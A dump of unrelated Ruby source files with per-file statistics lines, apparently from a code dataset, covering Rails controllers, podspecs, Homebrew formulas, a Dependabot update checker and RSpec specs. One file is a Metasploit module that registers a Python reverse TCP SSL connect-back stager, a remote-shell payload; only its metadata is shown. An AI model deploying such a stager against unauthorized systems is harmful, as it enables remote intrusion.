@task = Task.find(permitted_params[:id]) respond_to do |format| if @task.update_attributes(permitted_params[:task]) # If status is complete, but completion date is blank, set it to today if (@task.status == 127) && ([email protected]_date) @task.completion_date = Date.today @task.save end format.html { redirect_to(@task, :notice => 'Task was successfully updated.') } else @users_select = User.all.order(:last_name).collect {|u| [ u.first_name + ' ' + u.last_name, u.id ]} format.html { render :action => "edit" } end end end # DELETE /tasks/1 # DELETE /tasks/1.xml def destroy authorize! :destroy, Task @task = Task.find(permitted_params[:id]) @task.destroy respond_to do |format| format.html { redirect_to(tasks_url) } end end private # Functions for sorting columns # Among other things, these prevent SQL injection # Set asc and name as default values def sort_column Task.column_names.include?(permitted_params[:sort]) ? permitted_params[:sort] : "name" end def sort_direction %w[asc desc].include?(permitted_params[:direction]) ? permitted_params[:direction] : "asc" end end
28.186047
158
0.624312
21cdbbfd7d718fe47cde712dce7d033169f67aa2
1,737
# # Be sure to run `pod lib lint EYDownLoadManager.podspec' to ensure this is a # valid spec before submitting. # # Any lines starting with a # are optional, but their use is encouraged # To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html # Pod::Spec.new do |s| s.name = 'EYDownLoadManager' s.version = '0.1.0' s.summary = 'A short description of EYDownLoadManager.' # This description is used to generate tags and improve search results. # * Think: What does it do? Why did you write it? What is the focus? # * Try to keep it short, snappy and to the point. # * Write the description between the DESC delimiters below. # * Finally, don't worry about the indent, CocoaPods strips it! s.description = <<-DESC TODO: Add long description of the pod here. DESC s.homepage = 'https://github.com/wowbby/EYDownLoadManager' # s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2' s.license = { :type => 'MIT', :file => 'LICENSE' } s.author = { 'wowbby' => '[email protected]' } s.source = { :git => 'https://github.com/wowbby/EYDownLoadManager.git', :tag => s.version.to_s } # s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>' s.ios.deployment_target = '8.0' #s.source_files = 'EYDownLoadManager/Classes/**/*' s.subspec 'Manager' do |ss| ss.source_files = 'EYDownLoadManager/Classes/Manager/*' end # s.resource_bundles = { # 'EYDownLoadManager' => ['EYDownLoadManager/Assets/*.png'] # } # s.public_header_files = 'Pod/Classes/**/*.h' # s.frameworks = 'UIKit', 'MapKit' # s.dependency 'AFNetworking', '~> 2.3' end
36.957447
108
0.650547
ac762e05f90d32c839f31828654c4ed67e90d71a
1,481
require "virtus" module Postman module App module Model class Base include Virtus attribute :id, String, :default => proc{UUID.generate.gsub("-",'')} # 根据ID查找对象 def self.find(id) key = self.redis_key(id) h = ::P::C.redis.hgetall(key) h && self.new(h) end def self.del(id) key = self.redis_key(id) ::P::C.redis.del(key) end def del self.class.del(self.id) end # 删除某一属性 def del_attr(attrt) key = self.redis_key(id) self.attributes[attrt.to_sym] = nil ::P::C.redis.hdel(key, attrt.to_s) end # 删除某一属性并保存 def del_attr!(attrt) ::P::C.redis.multi do self.del_attr(attrt) self.save end end # 查找某个模型所有实例数据 def self.all keys = ::P::C.redis.keys("#{self.prefix_redis_key}::*") items = ::P::C.redis.multi do keys.map do |key| ::P::C.redis.hgetall(key) end end items.map{|item|self.new(item)}.compact end # 判断某个模型的某条数据是否存在 def self.exists(id) ::P::C.redis.exists self.redis_key(id) end def exists self.class.exists(self.id) end # 保存数据 def save ::P::C.redis.hmset(self.redis_key, *self.attributes) end # 保存在内存中的Key def redis_key self.class.redis_key(self.id) end def self.redis_key(id) "#{self.prefix_redis_key}::#{id}" end def self.prefix_redis_key "Model::#{self.to_s.demodulize}" end end end end end
18.283951
71
0.582039
e97cc3c43e9ddd2e4b298675cd27eb52f27f7efd
6,198
class ProtobufAT31 < Formula desc "Protocol buffers (Google's data interchange format)" homepage "https://github.com/google/protobuf/" url "https://github.com/google/protobuf/archive/v3.1.0.tar.gz" sha256 "fb2a314f4be897491bb2446697be693d489af645cb0e165a85e7e64e07eb134d" bottle do sha256 "8648436399064763689f1e39b6c2e7a0ce8d6682064197adb467d7ccc803aa9e" => :high_sierra sha256 "941385129ac0e5a34923a373cb57daccfecbaaa25b429624c741873e144ba581" => :sierra sha256 "b7d053c5f1dfef00da3c05fd9ad3db7317a8d0abb983290869844d1ef28a799e" => :el_capitan sha256 "813126845f50a0d885b9fedb213e566fc5e3d5959f1f69733d8c2d04fa530c67" => :yosemite end keg_only :versioned_formula # this will double the build time approximately if enabled option "with-test", "Run build-time check" option "without-python@2", "Build without python support" option :cxx11 deprecated_option "without-python" => "without-python@2" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build depends_on "python@2" => :recommended resource "appdirs" do url "https://files.pythonhosted.org/packages/bd/66/0a7f48a0f3fb1d3a4072bceb5bbd78b1a6de4d801fb7135578e7c7b1f563/appdirs-1.4.0.tar.gz" sha256 "8fc245efb4387a4e3e0ac8ebcc704582df7d72ff6a42a53f5600bbb18fdaadc5" end resource "packaging" do url "https://files.pythonhosted.org/packages/c6/70/bb32913de251017e266c5114d0a645f262fb10ebc9bf6de894966d124e35/packaging-16.8.tar.gz" sha256 "5d50835fdf0a7edf0b55e311b7c887786504efea1177abd7e69329a8e5ea619e" end resource "pyparsing" do url "https://files.pythonhosted.org/packages/38/bb/bf325351dd8ab6eb3c3b7c07c3978f38b2103e2ab48d59726916907cd6fb/pyparsing-2.1.10.tar.gz" sha256 "811c3e7b0031021137fc83e051795025fcb98674d07eb8fe922ba4de53d39188" end resource "six" do url "https://files.pythonhosted.org/packages/b3/b2/238e2590826bfdd113244a40d9d3eb26918bd798fc187e2360a8367068db/six-1.10.0.tar.gz" sha256 "105f8d68616f8248e24bf0e9372ef04d3cc10104f1980f54d57b2ce73a5ad56a" end resource "setuptools" do url "https://files.pythonhosted.org/packages/64/88/d434873ba1ce02c0ed669f574afeabaeaaeec207929a41b5c1ed947270fc/setuptools-34.1.0.zip" sha256 "c0cc0c7d7f86e03b63fd093032890569a944f210358fbfea339252ba33fb1097" end resource "python-dateutil" do url "https://files.pythonhosted.org/packages/51/fc/39a3fbde6864942e8bb24c93663734b74e281b984d1b8c4f95d64b0c21f6/python-dateutil-2.6.0.tar.gz" sha256 "62a2f8df3d66f878373fd0072eacf4ee52194ba302e00082828e0d263b0418d2" end resource "pytz" do url "https://files.pythonhosted.org/packages/d0/e1/aca6ef73a7bd322a7fc73fd99631ee3454d4fc67dc2bee463e2adf6bb3d3/pytz-2016.10.tar.bz2" sha256 "7016b2c4fa075c564b81c37a252a5fccf60d8964aa31b7f5eae59aeb594ae02b" end resource "python-gflags" do url "https://files.pythonhosted.org/packages/82/9c/7ed91459f01422d90a734afcf30de7df6b701b90a2e7c7a7d01fd580242d/python-gflags-3.1.0.tar.gz" sha256 "3377d9dbeedb99c0325beb1f535f8fa9fa131d1d8b50db7481006f0a4c6919b4" end resource "google-apputils" do url "https://files.pythonhosted.org/packages/69/66/a511c428fef8591c5adfa432a257a333e0d14184b6c5d03f1450827f7fe7/google-apputils-0.4.2.tar.gz" sha256 "47959d0651c32102c10ad919b8a0ffe0ae85f44b8457ddcf2bdc0358fb03dc29" end # Upstream's autogen script fetches this if not present # but does no integrity verification & mandates being online to install. resource "gmock" do url "https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/googlemock/gmock-1.7.0.zip" mirror "https://dl.bintray.com/homebrew/mirror/gmock-1.7.0.zip" sha256 "26fcbb5925b74ad5fc8c26b0495dfc96353f4d553492eb97e85a8a6d2f43095b" end needs :cxx11 def install # Don't build in debug mode. See: # https://github.com/Homebrew/homebrew/issues/9279 # https://github.com/google/protobuf/blob/5c24564811c08772d090305be36fae82d8f12bbe/configure.ac#L61 ENV.prepend "CXXFLAGS", "-DNDEBUG" ENV.cxx11 (buildpath/"gmock").install resource("gmock") system "./autogen.sh" system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}", "--with-zlib" system "make" system "make", "check" if build.with?("test") || build.bottle? system "make", "install" # Install editor support and examples doc.install "editors", "examples" if build.with? "python@2" # google-apputils is a build-time dependency ENV.prepend_create_path "PYTHONPATH", buildpath/"homebrew/lib/python2.7/site-packages" res = resources.map(&:name).to_set - ["gmock"] res.each do |package| resource(package).stage do system "python", *Language::Python.setup_install_args(buildpath/"homebrew") end end # google is a namespace package and .pth files aren't processed from # PYTHONPATH touch buildpath/"homebrew/lib/python2.7/site-packages/google/__init__.py" chdir "python" do ENV.append_to_cflags "-I#{include}" ENV.append_to_cflags "-L#{lib}" args = Language::Python.setup_install_args libexec args << "--cpp_implementation" system "python", *args end site_packages = "lib/python2.7/site-packages" pth_contents = "import site; site.addsitedir('#{libexec/site_packages}')\n" (prefix/site_packages/"homebrew-protobuf.pth").write pth_contents end end def caveats; <<~EOS Editor support and examples have been installed to: #{doc} EOS end test do testdata = <<~EOS syntax = "proto3"; package test; message TestCase { string name = 4; } message Test { repeated TestCase case = 1; } EOS (testpath/"test.proto").write testdata system bin/"protoc", "test.proto", "--cpp_out=." if build.with? "python@2" protobuf_pth = lib/"python2.7/site-packages/homebrew-protobuf.pth" (testpath.realpath/"Library/Python/2.7/lib/python/site-packages").install_symlink protobuf_pth system "python2.7", "-c", "import google.protobuf" end end end
40.509804
145
0.745886
625402341937e25fe36985dcfa1cedab5db2b4de
7,767
# frozen_string_literal: true require "excon" require "toml-rb" require "python_requirement_parser" require "dependabot/update_checkers/base" require "dependabot/shared_helpers" require "dependabot/utils/python/requirement" module Dependabot module UpdateCheckers module Python class Pip < Dependabot::UpdateCheckers::Base require_relative "pip/poetry_version_resolver" require_relative "pip/pipfile_version_resolver" require_relative "pip/pip_compile_version_resolver" require_relative "pip/requirements_updater" require_relative "pip/latest_version_finder" MAIN_PYPI_INDEXES = %w( https://pypi.python.org/simple/ https://pypi.org/simple/ ).freeze def latest_version @latest_version ||= fetch_latest_version end def latest_resolvable_version @latest_resolvable_version ||= case resolver_type when :pipfile PipfileVersionResolver.new( resolver_args.merge(unlock_requirement: true) ).latest_resolvable_version when :poetry PoetryVersionResolver.new( resolver_args.merge(unlock_requirement: true) ).latest_resolvable_version when :pip_compile PipCompileVersionResolver.new( resolver_args.merge(unlock_requirement: true) ).latest_resolvable_version when :requirements # pip doesn't (yet) do any dependency resolution, so if we don't # have a Pipfile or a pip-compile file, we just return the latest # version. latest_version else raise "Unexpected resolver type #{resolver_type}" end end def latest_resolvable_version_with_no_unlock @latest_resolvable_version_with_no_unlock ||= case resolver_type when :pipfile PipfileVersionResolver.new( resolver_args.merge(unlock_requirement: false) ).latest_resolvable_version when :poetry PoetryVersionResolver.new( resolver_args.merge(unlock_requirement: false) ).latest_resolvable_version when :pip_compile PipCompileVersionResolver.new( resolver_args.merge(unlock_requirement: false) ).latest_resolvable_version when :requirements latest_pip_version_with_no_unlock else raise "Unexpected resolver type #{resolver_type}" end end def updated_requirements RequirementsUpdater.new( requirements: dependency.requirements, latest_version: latest_version&.to_s, latest_resolvable_version: latest_resolvable_version&.to_s, update_strategy: requirements_update_strategy, has_lockfile: pipfile_lock || poetry_lock || pyproject_lock ).updated_requirements end def requirements_update_strategy # If passed in as an option (in the base class) honour that option if @requirements_update_strategy return @requirements_update_strategy.to_sym end # Otherwise, check if this is a poetry library or not poetry_library? ? :widen_ranges : :bump_versions end private def latest_version_resolvable_with_full_unlock? # Full unlock checks aren't implemented for pip because they're not # relevant (pip doesn't have a resolver). This method always returns # false to ensure `updated_dependencies_after_full_unlock` is never # called. false end def updated_dependencies_after_full_unlock raise NotImplementedError end # rubocop:disable Metrics/PerceivedComplexity def resolver_type reqs = dependency.requirements req_files = reqs.map { |r| r.fetch(:file) } # If there are no requirements then this is a sub-dependency. It # must come from one of Pipenv, Poetry or pip-tools, and can't come # from the first two unless they have a lockfile. return subdependency_resolver if reqs.none? # Otherwise, this is a top-level dependency, and we can figure out # which resolver to use based on the filename of its requirements return :pipfile if req_files.any? { |f| f == "Pipfile" } return :poetry if req_files.any? { |f| f == "pyproject.toml" } return :pip_compile if req_files.any? { |f| f.end_with?(".in") } if dependency.version && !exact_requirement?(reqs) subdependency_resolver else :requirements end end # rubocop:enable Metrics/PerceivedComplexity def subdependency_resolver return :pipfile if pipfile_lock return :poetry if poetry_lock || pyproject_lock return :pip_compile if pip_compile_files.any? raise "Claimed to be a sub-dependency, but no lockfile exists!" end def exact_requirement?(reqs) reqs = reqs.map { |r| r.fetch(:requirement) } reqs = reqs.compact reqs = reqs.flat_map { |r| r.split(",").map(&:strip) } reqs.any? { |r| Utils::Python::Requirement.new(r).exact? } end def resolver_args { dependency: dependency, dependency_files: dependency_files, credentials: credentials, latest_allowable_version: latest_version } end def fetch_latest_version latest_version_finder.latest_version end def latest_pip_version_with_no_unlock latest_version_finder.latest_version_with_no_unlock end def latest_version_finder @latest_version_finder ||= LatestVersionFinder.new( dependency: dependency, dependency_files: dependency_files, credentials: credentials, ignored_versions: ignored_versions ) end def poetry_library? return false unless pyproject # Hit PyPi and check whether there are details for a library with a # matching name and description details = TomlRB.parse(pyproject.content).dig("tool", "poetry") return false unless details index_response = Excon.get( "https://pypi.org/pypi/#{normalised_name(details['name'])}/json", idempotent: true, **SharedHelpers.excon_defaults ) return false unless index_response.status == 200 pypi_info = JSON.parse(index_response.body)["info"] || {} pypi_info["summary"] == details["description"] rescue URI::InvalidURIError false end # See https://www.python.org/dev/peps/pep-0503/#normalized-names def normalised_name(name) name.downcase.gsub(/[-_.]+/, "-") end def pipfile dependency_files.find { |f| f.name == "Pipfile" } end def pipfile_lock dependency_files.find { |f| f.name == "Pipfile.lock" } end def pyproject dependency_files.find { |f| f.name == "pyproject.toml" } end def pyproject_lock dependency_files.find { |f| f.name == "pyproject.lock" } end def poetry_lock dependency_files.find { |f| f.name == "poetry.lock" } end def pip_compile_files dependency_files.select { |f| f.name.end_with?(".in") } end end end end end
34.065789
79
0.615682
03877beaadbcac244cc493efba5b64bfc1cdbfec
46
require "minitest/autorun" require "pinglish"
15.333333
26
0.804348
b94f4a8fcefcc5e517bc2f1c331cd739d90855f4
689
require File.expand_path("../../Abstract/abstract-php-extension", __FILE__) class Php54Pthreads < AbstractPhp54Extension init ['with-thread-safety'] homepage 'http://pecl.php.net/package/pthreads' url 'http://pecl.php.net/get/pthreads-0.1.0.tgz' sha1 '311837ce19a76983d5d7af7d13af4e3528f4a70f' head 'https://github.com/krakjoe/pthreads.git' def install Dir.chdir "pthreads-#{version}" unless build.head? ENV.universal_binary if build.universal? safe_phpize system "./configure", "--prefix=#{prefix}", phpconfig system "make" prefix.install "modules/pthreads.so" write_config_file if build.with? "config-file" end end
29.956522
75
0.701016
6185b987c39d74226f453fc2a1caeeef8f6dd624
825
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/handler/reverse_tcp_ssl' require 'msf/core/payload/python/reverse_tcp_ssl' module MetasploitModule CachedSize = 453 include Msf::Payload::Stager include Msf::Payload::Python::ReverseTcpSsl def initialize(info = {}) super(merge_info(info, 'Name' => 'Python Reverse TCP SSL Stager', 'Description' => 'Reverse Python connect back stager using SSL', 'Author' => ['Ben Campbell', 'RageLtMan'], 'License' => MSF_LICENSE, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::ReverseTcpSsl, 'Stager' => {'Payload' => ""} )) end end
28.448276
72
0.62303
abe8674398e343ebcc3a2183c83f3f6bf15f8423
4,329
require 'spec_helper' require 'repositories/deployment_event_repository' module VCAP::CloudController module Repositories RSpec.describe DeploymentEventRepository do let(:app) { AppModel.make(name: 'popsicle') } let(:user) { User.make } let(:droplet) { DropletModel.make } let(:deployment) { DeploymentModel.make(app_guid: app.guid) } let(:email) { 'user-email' } let(:user_name) { 'user-name' } let(:user_audit_info) { UserAuditInfo.new(user_email: email, user_name: user_name, user_guid: user.guid) } let(:params) do { 'foo' => 'bar ' } end let(:type) { 'rollback' } describe '#record_create_deployment' do context 'when a droplet is associated with the deployment' do let(:deployment) { DeploymentModel.make(app_guid: app.guid, droplet_guid: droplet.guid) } it 'creates a new audit.app.deployment.create event' do event = DeploymentEventRepository.record_create(deployment, droplet, user_audit_info, app.name, app.space.guid, app.space.organization.guid, params, type) event.reload expect(event.type).to eq('audit.app.deployment.create') expect(event.actor).to eq(user.guid) expect(event.actor_type).to eq('user') expect(event.actor_name).to eq(email) expect(event.actor_username).to eq(user_name) expect(event.actee).to eq(deployment.app_guid) expect(event.actee_type).to eq('app') expect(event.actee_name).to eq('popsicle') expect(event.space_guid).to eq(app.space.guid) metadata = event.metadata expect(metadata['deployment_guid']).to eq(deployment.guid) expect(metadata['droplet_guid']).to eq(droplet.guid) expect(metadata['request']).to eq(params) expect(metadata['type']).to eq(type) end end context 'when no droplet is associated with the deployment' do let(:deployment) { DeploymentModel.make(app_guid: app.guid) } it 'creates a new audit.app.deployment.create event' do event = DeploymentEventRepository.record_create(deployment, nil, user_audit_info, app.name, app.space.guid, app.space.organization.guid, params, type) event.reload expect(event.type).to eq('audit.app.deployment.create') expect(event.actor).to eq(user.guid) expect(event.actor_type).to eq('user') expect(event.actor_name).to eq(email) expect(event.actor_username).to eq(user_name) expect(event.actee).to eq(deployment.app_guid) expect(event.actee_type).to eq('app') expect(event.actee_name).to eq('popsicle') expect(event.space_guid).to eq(app.space.guid) metadata = event.metadata expect(metadata['deployment_guid']).to eq(deployment.guid) expect(metadata['droplet_guid']).to be_nil expect(metadata['request']).to eq(params) expect(metadata['type']).to eq(type) end end end describe 'record_cancel_deployment' do let(:deployment) { DeploymentModel.make(app_guid: app.guid) } it 'creates a new audit.app.deployment.cancel event' do event = DeploymentEventRepository.record_cancel(deployment, droplet, user_audit_info, app.name, app.space.guid, app.space.organization.guid) event.reload expect(event.type).to eq('audit.app.deployment.cancel') expect(event.actor).to eq(user.guid) expect(event.actor_type).to eq('user') expect(event.actor_name).to eq(email) expect(event.actor_username).to eq(user_name) expect(event.actee).to eq(deployment.app_guid) expect(event.actee_type).to eq('app') expect(event.actee_name).to eq('popsicle') expect(event.timestamp).not_to be_nil expect(event.space_guid).to eq(app.space.guid) expect(event.organization_guid).to eq(app.organization.guid) metadata = event.metadata expect(metadata['deployment_guid']).to eq(deployment.guid) expect(metadata['droplet_guid']).to eq(droplet.guid) end end end end end
44.173469
112
0.634789
39b2cb25bf74414ce5827af47e76cee8be28c225
396
module BootstrapEmail module Component class Card < Base def build each_node('.card') do |node| node.replace(template('table', classes: node['class'], contents: node.inner_html)) end each_node('.card-body') do |node| node.replace(template('table', classes: node['class'], contents: node.inner_html)) end end end end end
26.4
92
0.606061
edbd9003f907ec1b03f7cae29680af7427032f1f
592
require 'spec_helper' describe 'convert_to_json_string' do it 'exists' do is_expected.not_to eq(nil) end it 'hash to json string' do data = {:some => "data"} is_expected.to run.with_params(data).and_return('{"some":"data"}') end it 'array of strings with kv to json string' do data = ['mykey:myvalue', 'key2:val2'] is_expected.to run.with_params(data).and_return('{"mykey":"myvalue","key2":"val2"}') end it 'array of strings to json strings' do data = ['val1', 'val2'] is_expected.to run.with_params(data).and_return('["val1","val2"]') end end
25.73913
88
0.660473
7a8abd949545f1bac4cb21d514db109a0807c808
3,169
# frozen_string_literal: true module Enolib class HtmlReporter < Reporter def self.report(context, emphasized = [], marked = []) emphasized = [emphasized] unless emphasized.is_a?(Array) marked = [marked] unless marked.is_a?(Array) content_header = context.messages::CONTENT_HEADER gutter_header = context.messages::GUTTER_HEADER omission = line('...', '...') snippet = '<pre class="eno-report">' snippet += "<div>#{context.sourceLabel}</div>" if context.source snippet += line(gutter_header, content_header) in_omission = false context[:instructions].each do |instruction| emphasize = emphasized.include?(instruction) mark = marked.include?(instruction) show = (emphasized + marked).any? do |marked_instruction| instruction[:line] >= marked_instruction[:line] - 2 && instruction[:line] <= marked_instruction[:line] + 2 end if show classes = [] if emphasize classes.push('eno-report-line-emphasized') elsif mark classes.push('eno-report-line-marked') end snippet += line( (instruction[:line] + Enolib::HUMAN_INDEXING).to_s, context[:input][instruction[:index], instruction[:length]], classes ) in_omission = false elsif !in_omission snippet += omission in_omission = true end end snippet += '</pre>' snippet end private def print_line(line, tag) return markup('...', '...') if tag == :omission number = (line + HUMAN_INDEXING).to_s instruction = @index[line] content = '' if instruction content = @context.input[instruction[:ranges][:line][RANGE_BEGIN]..instruction[:ranges][:line][RANGE_END]] end tag_class = case tag when :emphasize 'eno-report-line-emphasized' when :indicate 'eno-report-line-indicated' when :question 'eno-report-line-questioned' else '' end markup(number, content, tag_class) end def escape(string) string.gsub(/[&<>"'\/]/) { |c| HTML_ESCAPE[c] } end def markup(gutter, content, tag_class = '') "<div class=\"eno-report-line #{tag_class}\">" \ "<div class=\"eno-report-gutter\">#{gutter.rjust(10)}</div>" \ "<div class=\"eno-report-content\">#{escape(content)}</div>" \ '</div>' end def print columns_header = markup(@context.messages::GUTTER_HEADER, @context.messages::CONTENT_HEADER) snippet = @snippet.each_with_index.map { |tag, line| print_line(line, tag) if tag }.compact.join("\n") if @context.source return "<div><div>#{@context.source}</div><pre class=\"eno-report\">#{columns_header}#{snippet}</pre></div>" end "<pre class=\"eno-report\">#{columns_header}#{snippet}</pre>" end HTML_ESCAPE = { '&' => '&amp;', '<' => '&lt;', '>' => '&gt;', '"' => '&quot;', "'" => '&#39;', '/' => '&#x2F;' }.freeze end end
27.318966
116
0.564847
7a32b298b8dc6fe4ce108fb4194156982a2368a8
37
module Rangu VERSION = "0.3.0" end
9.25
19
0.648649
ffcbcc1dad5446a3c645b7ccf7c3a9ea713ca431
3,169
# This file is copied to spec/ when you run 'rails generate rspec:install' require "spec_helper" ENV["RAILS_ENV"] ||= "test" require File.expand_path("../config/environment", __dir__) # Prevent database truncation if the environment is production abort("The Rails environment is running in production mode!") if Rails.env.production? require "rspec/rails" require './spec/support/factory_bot' require 'webdrivers' # Add additional requires below this line. Rails is not loaded until this point! # Requires supporting ruby files with custom matchers and macros, etc, in # spec/support/ and its subdirectories. Files matching `spec/**/*_spec.rb` are # run as spec files by default. This means that files in spec/support that end # in _spec.rb will both be required and run as specs, causing the specs to be # run twice. It is recommended that you do not name files matching this glob to # end with _spec.rb. You can configure this pattern with the --pattern # option on the command line or in ~/.rspec, .rspec or `.rspec-local`. # # The following line is provided for convenience purposes. It has the downside # of increasing the boot-up time by auto-requiring all files in the support # directory. Alternatively, in the individual `*_spec.rb` files, manually # require only the support files necessary. # Dir[Rails.root.join('spec', 'support', '**', '*.rb')].sort.each { |f| require f } # Checks for pending migrations and applies them before tests are run. # If you are not using ActiveRecord, you can remove these lines. begin ActiveRecord::Migration.maintain_test_schema! rescue ActiveRecord::PendingMigrationError => e puts e.to_s.strip exit 1 end Capybara.register_driver :selenium_chrome do |app| Capybara::Selenium::Driver.new(app, browser: :chrome) end Capybara.javascript_driver = :selenium_chrome Capybara.default_max_wait_time = 4 RSpec.configure do |config| # Remove this line if you're not using ActiveRecord or ActiveRecord fixtures config.fixture_path = "#{::Rails.root}/spec/fixtures" # If you're not using ActiveRecord, or you'd prefer not to run each of your # examples within a transaction, remove the following line or assign false # instead of true. config.use_transactional_fixtures = true # You can uncomment this line to turn off ActiveRecord support entirely. # config.use_active_record = false # RSpec Rails can automatically mix in different behaviours to your tests # based on their file location, for example enabling you to call `get` and # `post` in specs under `spec/controllers`. # # You can disable this behaviour by removing the line below, and instead # explicitly tag your specs with their type, e.g.: # # RSpec.describe UsersController, type: :controller do # # ... # end # # The different available types are documented in the features, such as in # https://relishapp.com/rspec/rspec-rails/docs config.infer_spec_type_from_file_location! # Filter lines from Rails gems in backtraces. config.filter_rails_from_backtrace! # arbitrary gems may also be filtered via: # config.filter_gems_from_backtrace("gem name") end Faker::Config.locale = "en-IND"
41.155844
86
0.754812